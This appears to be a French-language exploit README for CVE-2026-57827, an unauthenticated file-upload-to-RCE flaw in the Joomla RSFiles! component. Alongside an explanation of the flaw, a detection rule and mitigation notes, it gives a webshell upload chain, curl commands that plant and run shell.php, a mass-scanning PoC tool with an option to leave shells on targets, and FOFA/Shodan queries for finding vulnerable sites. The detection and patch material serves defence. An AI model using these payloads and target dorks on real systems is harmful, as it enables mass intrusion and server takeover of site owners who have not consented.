
CVE-2026-57827 — Composant Joomla RSFiles! Téléchargement de fichier non authentifié menant à une exécution de code à distance (RCE). Contournement du téléchargement via contrôleur scindé. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12
CVE-2026-57827 est une vulnérabilité critique (CVSS 9.8) de téléversement de fichier arbitraire sans authentification dans RSFiles! (com_rsfiles), un composant de gestion de fichiers et de téléchargements largement utilisé pour Joomla, dans les versions < 1.17.12.
La vulnérabilité exploite un défaut de conception de type contrôleur scindé (split-controller) : RSFiles! sépare son téléversement en deux tâches frontend — un contrôle pré-vol (contrôle d'autorisation + liste blanche d'extensions) et une méthode d'écriture (enregistre le fichier sur le disque). La méthode d'écriture peut être appelée directement, contournant entièrement le contrôle pré-vol. Aucune authentification requise, aucun jeton CSRF.
| Version | Statut |
|---|---|
| < 1.17.12 | Vulnérable |
| 1.17.12+ | Corrigée |
Découvert par : Phil Taylor, mySites.guru (10 juillet 2026) Éditeur : RSJoomla (rsjoomla.com) Composant : com_rsfiles
RSFiles! scinde son téléversement entre deux tâches frontend distinctes dans /components/com_rsfiles/controllers/rsfiles.php :
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload, contournant ainsi entièrement le contrôle pré-vol.JFile::upload()), qui accepte tout type de fichier par défaut..htaccess protecteur qui empêcherait l'exécution de PHP à cet endroit est un paramètre administrateur optionnel (opt-in), désactivé par défaut.1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| Fichier | Rôle |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | Contrôleur contenant les tâches vulnérables upload() et checkupload() |
/components/com_rsfiles/views/upload/tmpl/upload.php | Modèle du formulaire de téléversement frontend (confirmé : name="file", task=rsfiles.upload) |
/downloads/ | Dossier de téléchargements par défaut dans la racine web (protection .htaccess désactivée par défaut) |
/briefcase/ | Dossier Briefcase (également accessible en écriture) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
Les contrôles de sécurité (contrôle d'autorisation + liste blanche d'extensions) constituent une étape pré-vol distincte de la méthode qui écrit réellement le fichier. Seule la première contient les contrôles. La seconde — celle qui écrit sur le disque — peut être appelée directement en construisant le bon paramètre task dans l'URL, contournant ainsi tous les contrôles de sécurité.
C'est un exemple typique de l'anti-pattern « contrôles et actions séparés » : le contrôle et l'opération qu'il est censé protéger sont découplés, et un attaquant peut atteindre l'opération sans passer par le contrôle.
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
Étape 1 — Téléverser le shell
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
Étape 2 — Accéder au shell
curl 'https://target.com/downloads/shell.php?c=id'
Étape 3 — Exécuter des commandes
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'
Mesure d'atténuation (si la mise à jour n'est pas possible)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
Une exploitation réussie permet une exécution de code à distance en tant qu'utilisateur du serveur web :
configuration.php → identifiants de base de données, secrets SMTPAucun compte sur le site n'est nécessaire à aucune étape. Anonyme, non authentifié, à distance.
RSJoomla a corrigé la vulnérabilité dans la version 1.17.12 en :
.htaccess du dossier de téléchargements activée par défautUNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS.
Ne pas utiliser contre des systèmes sans l'autorisation explicite du propriétaire. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.
| Ressource | Lien |
|---|---|
| Entrée NVD | CVE-2026-57827 |
| Avis mySites.guru | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| Avis RSJoomla | rsjoomla.com |
| CWE-434 | Unrestricted Upload of File with Dangerous Type |
| Rapporteur | Phil Taylor, mySites.guru |
Non affilié à RSJoomla ni à mySites.guru.